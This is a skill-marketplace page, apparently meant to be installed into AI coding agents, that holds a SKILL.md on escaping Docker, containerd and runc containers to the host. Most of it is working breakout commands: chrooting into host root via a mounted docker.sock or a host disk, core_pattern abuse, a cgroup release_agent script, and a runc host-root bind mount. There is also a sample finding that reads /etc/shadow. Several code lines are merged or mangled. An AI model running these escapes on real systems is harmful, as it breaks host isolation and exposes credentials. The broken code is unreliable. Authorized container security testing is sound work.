Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json bind-mount abuse.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
La commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.
Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.
Affichage de SKILL.md
SKILL.md
Instructions source · Aperçu en lecture seule
name
exploiting-container-escapes
description
Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json bind-mount abuse.
After gaining code execution inside a Docker, containerd, or CRI-O container during an authorized engagement
When the container was started with --privileged, extra capabilities, or host namespaces
When sensitive host paths or sockets are bind-mounted into the container
When runc/ctr binaries or a Docker socket are reachable from inside
During Kubernetes pod assessments where the pod's security context is weak
Critical: Techniques Most Often Missed
Operators see "it's a container" and stop. Run the recon block first — one writable socket or proc path is usually a host shell.
Mounted Docker/containerd socket = trivial host root. Spawn a new container mounting host /.
How to CONFIRM: find / -name docker.sock 2>/dev/null; then docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh gives a host root shell.
Privileged container + host block device. Mount the host disk and chroot.
How to CONFIRM: ls -l /dev/sd* /dev/vd* /dev/nvme* lists host disks; mount /dev/sda1 /mnt && chroot /mnt sh reaches the host FS.
Writable /proc/sys/kernel/core_pattern. A crash triggers a pipe handler that runs as root on the host.
How to CONFIRM: [ -w /proc/sys/kernel/core_pattern ]; piping a payload via core_pattern and crashing a process drops a root SUID shell.
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# host path of our container's overlay
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n1)
echo"$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<EOF
#!/bin/sh
ps aux > $host_path/output
EOFchmod +x /cmd
# trigger: process exits -> empties cgroup -> kernel runs release_agent as root on HOST
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"cat /output
Step 7: runc config.json Bind-Mount Abuse
runc -help# runc reachable?
runc spec # generates config.json# add to the "mounts" array in config.json:# { "type":"bind","source":"/","destination":"/","options":["rbind","rw","rprivate"] }mkdir rootfs
runc run demo # root folder is the HOST's /
Key Concepts
Concept
Description
--privileged
Drops device cgroup limits, seccomp, AppArmor/SELinux; grants all capabilities
Host namespace sharing
--pid=host/--network=host; enables nsenter and host process visibility
Runtime socket exposure
A mounted docker.sock/containerd.sock = full control of the runtime as root
Writable /proc/sys/kernel/core_pattern runs a pipe handler as root on crash
release_agent
cgroup v1 + CAP_SYS_ADMIN trick that executes a script on the host
runc config.json
A bind mount of / in the OCI spec exposes the host root filesystem
Tools & Systems
Tool
Purpose
amicontained
Reports capabilities, seccomp, and namespace/container detection
deepce
Automated Docker/container enumeration and escape helper
capsh
Confirm the container's capability set (cap_sys_admin etc.)
nsenter
Enter host namespaces from a CAP_SYS_ADMIN / host-PID container
docker / ctr
Drive a mounted runtime socket to launch a host-mounted container
runc
Run an OCI container with a host-root bind mount
linpeas
General host/container privesc enumeration
Common Scenarios
Scenario 1: Mounted docker.sock
A CI container bind-mounts /var/run/docker.sock. docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh returns instant host root.
Scenario 2: Privileged container
capsh --print shows the full cap set and /dev/sda1 is visible. Mounting it and chroot writes an SSH key into the host's /root/.ssh.
Scenario 3: Writable core_pattern
A monitoring sidecar mounts /proc writable. Pointing core_pattern at an overlay script and crashing a process yields root code execution on the host.
Scenario 4: CAP_SYS_ADMIN without privileged
A container has --cap-add=SYS_ADMIN but is not fully privileged. The cgroup v1 release_agent technique escapes to the host with no kernel exploit.
Output Format
## Container Escape Finding
**Vulnerability**: Container Breakout to Host
**Severity**: Critical
**Container**: ci-runner (image: build:latest)
### Misconfiguration
- /var/run/docker.sock bind-mounted into the container
- capsh --print: full capability set (cap_sys_admin present)
- Seccomp: 0 (disabled)
### Exploitation
$ docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt alpine chroot /mnt sh
# id -> uid=0(root) on the HOST
# cat /etc/shadow (host file) -> readable
### Impact
Full compromise of the container host and every other container on it;
host SSH keys / cloud credentials recoverable.
### Recommendation
1. Never mount the Docker/containerd socket into containers
2. Drop --privileged; use --cap-drop=ALL and add only required capabilities
3. Keep seccomp + AppArmor/SELinux enabled; mount /proc and /sys read-only
4. Avoid bind-mounting host /proc, /var, or block devices
5. Use rootless runtimes / user namespaces and admission policies (PSA, OPA/Gatekeeper)
